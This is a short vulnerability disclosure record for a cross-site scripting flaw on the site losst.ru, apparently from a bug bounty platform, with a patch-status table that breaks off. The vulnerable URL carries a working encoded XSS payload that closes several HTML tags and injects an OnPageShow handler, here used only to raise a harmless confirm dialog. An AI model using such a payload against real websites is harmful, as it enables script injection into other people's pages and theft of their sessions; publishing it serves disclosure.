losst.ru XSS vulnerability

Vulnerable URL: https://losst.ru/?s=1%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CBody/OnPageShow=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 25.10.2017 Vulnerability type:|...